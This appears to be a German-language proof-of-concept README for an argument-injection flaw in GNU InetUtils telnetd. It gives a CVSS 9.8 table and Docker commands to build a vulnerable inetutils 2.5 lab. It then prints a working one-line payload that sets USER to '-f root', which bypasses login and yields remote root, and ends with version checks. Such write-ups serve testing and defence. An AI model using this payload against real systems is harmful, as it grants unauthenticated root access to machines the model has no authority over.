
Schwachstelle in GNU InetUtils telnetd ermöglicht Remote-Root-Zugriff
Eine kürzlich identifizierte Argument-Injection-Schwachstelle in GNU InetUtils telnetd ermöglicht es Angreifern, die Authentifizierung zu umgehen, indem sie die Umgebungsvariable USER auf den Wert „-f root“ setzen. Dadurch kann ein entfernter, nicht authentifizierter Angreifer Zugriff auf Systeme erhalten, die den verwundbaren telnetd-Dienst ausführen, und Privilegien auf Root-Ebene erlangen. Bei erfolgreicher Ausnutzung kann dieser Fehler es Angreifern ermöglichen, auf sensible Informationen zuzugreifen, Systemeinstellungen zu ändern und beliebige Befehle auszuführen, was möglicherweise zu einer vollständigen Kompromittierung des Systems führt.
| CVSS-Detail | CNA (MITRE) |
|---|
| Basis-Score | 9.8 |
| Vektor | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Angriffsvektor | Netzwerk |
| Angriffskomplexität | Niedrig |
| Erforderliche Privilegien | Keine |
| Benutzerinteraktion | Keine |
| Scope | Unverändert |
| Vertraulichkeitsauswirkung | Hoch |
| Integritätsauswirkung | Hoch |
| Verfügbarkeitsauswirkung | Hoch |
| CVSSv3-Version | 3.1 |
Wir konnten auf den Commit unten aus dem Jahr 2015 zugreifen, der die Codeänderung (Zeile 62) zeigt, die diese Schwachstelle verursacht hat.
Der Zweck dieser README besteht nur darin, die Ausführung des Exploits zu zeigen, nicht jeden Schritt, der zu dieser CVE geführt hat. Die Absicht ist jedoch, den Platzhalter %U durch den Wert zu ersetzen, der aus der Umgebungsvariable USER stammt. Diese spezielle Umgebungsvariable ist vom Benutzer kontrollierbar und kann über das Telnet-Protokoll manipuliert werden 🔥 .
Für diesen Test habe ich 2 Container mit Images von Docker Hub erstellt, mit einer verwundbaren Version von InetUtils.
docker run --rm -it --name vuln -p 23:23 ubuntu:22.04 bash
apt update
apt install build-essential wget tar
wget http://ftp.gnu.org/gnu/inetutils/inetutils-2.5.tar.gz
tar -xvzf inetutils-2.5.tar.gz
cd inetutils-2.5
./configure
./configure --enable-telnet
make clean
make
make install
export PATH=$PATH:/usr/local/libexec
apt install openbsd-inetd
echo "telnet stream tcp nowait root /usr/local/libexec/telnetd telnetd" >> /etc/inetd.conf
service openbsd-inetd restart
docker run --rm -it --name attacker ubuntu bash
apt install telnet
Mit dem folgenden Payload ersetzen wir die Variable USER und umgehen das Authentifizierungssystem.
USER="-f root" telnet -a 172.17.0.3
Überprüfen Sie Ihre Inetutils-Version
hostname --version
telnetd --version
Bis zum nächsten Mal :wink: